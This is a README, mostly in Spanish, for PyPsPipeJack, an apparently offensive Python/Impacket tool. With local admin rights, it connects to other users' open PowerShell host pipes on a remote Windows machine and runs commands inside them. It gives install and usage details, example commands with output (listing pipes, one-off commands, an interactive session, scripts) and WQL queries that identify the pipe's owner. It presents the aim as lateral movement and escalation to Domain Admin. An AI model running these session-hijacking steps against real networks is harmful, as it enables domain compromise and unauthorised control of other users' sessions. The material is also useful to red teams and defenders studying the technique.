Python implementation of OpenPsPipeJack
Esta herramienta es la continuación de mi otra herramienta, OpenPsPipeJack. Esta versión está basada en Python y funciona en Linux utilizando principalmente Impacket.
En resumen, si tienes administrador local en un host remoto, puedes conectarte a sesiones remotas de PowerShell en ese host y ejecutar comandos dentro de esas sesiones de PowerShell. Esto no solo brinda oportunidades de movimiento lateral, sino también de escalada de privilegios. Por ejemplo, si obtienes acceso de administrador local mediante algo como RBCD, Shadow Credentials, etc., y hay un administrador de dominio en el host remoto con una sesión de PowerShell abierta, puedes ejecutar comandos como el administrador de dominio y agregar un usuario que controles al grupo Domain Admins.

cd PyPsPipeJack

python3 -m pip install -r requirements
usage: PyPsPipeJack.py [-h] [-debug] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-dc-ip ip address] [-target-ip ip address] [-port [destination port]] [--list] [--pipe PIPE] [--command COMMAND] [--script SCRIPT] target
PowerShell Pipe Jacker
positional arguments:
target [[domain/]username[:password]@]<targetName or address>
options:
-h, --help show this help message and exit
-debug Turn DEBUG output ON
authentication:
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
-no-pass don't ask for password (useful for -k)
-k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line
-aesKey hex key AES key to use for Kerberos Authentication (128 or 256 bits)
connection:
-dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
-target-ip ip address
IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name and you cannot resolve it
-port [destination port]
Destination port to connect to SMB Server
PowerShell Pipes:
--list list PSHost pipes and exit
--pipe PIPE full pipe name under IPC$ to connect to
--command COMMAND run one command and exit (non-interactive)
--script SCRIPT run entire PS1 file
$ python3 PyPsPipeJack.py 'localhost/administrator:P@ssw0rd'@192.168.1.101 --list
PSHost pipes on target:
PSHost.134296493751823186.13108.DefaultAppDomain.powershell
$ python3 PyPsPipeJack.py -k -no-pass ws01.lab.local --list
PSHost pipes on target:
PSHost.134296493751823186.13108.DefaultAppDomain.powershell
$ python3 PyPsPipeJack.py 'localhost/administrator:P@ssw0rd'@192.168.1.101 --pipe PSHost.134296493751823186.13108.DefaultAppDomain.powershell --command '[System.Security.Principal.WindowsIdentity]::GetCurrent().Name'

$ python3 PyPsPipeJack.py -k -no-pass ws01.lab.local --pipe PSHost.134296493751823186.13108.DefaultAppDomain.powershell --command '[System.Security.Principal.WindowsIdentity]::GetCurrent().Name'

$ python3 PyPsPipeJack.py 'localhost/administrator:P@ssw0rd'@192.168.1.101 --pipe PSHost.134296493751823186.13108.DefaultAppDomain.powershell
Connected. Enter PowerShell commands; 'exit' to quit.
PS> whoami
lab\administrator
PS> $i = "hello"
PS> echo $i
hello

$ cat test.ps1
echo hello
echo hello2

No es necesario ejecutar whoami, ni ningún comando de PowerShell para ver a quién pertenece el canal de PowerShell. Podemos comprobarlo con wmiquery.py de Impacket. El lenguaje de consulta WMI está enormemente infravalorado.
Estos son los comandos que necesitas ejecutar, con un ejemplo de captura de pantalla:
## Replace 13108 with PID from PSHost Pipe
# Example: PSHost.134296493751823186.13108.DefaultAppDomain.powershell
WQL> ASSOCIATORS OF {Win32_Process.Handle="13108"} WHERE AssocClass=Win32_SessionProcess
WQL> SELECT * FROM Win32_LoggedOnUser
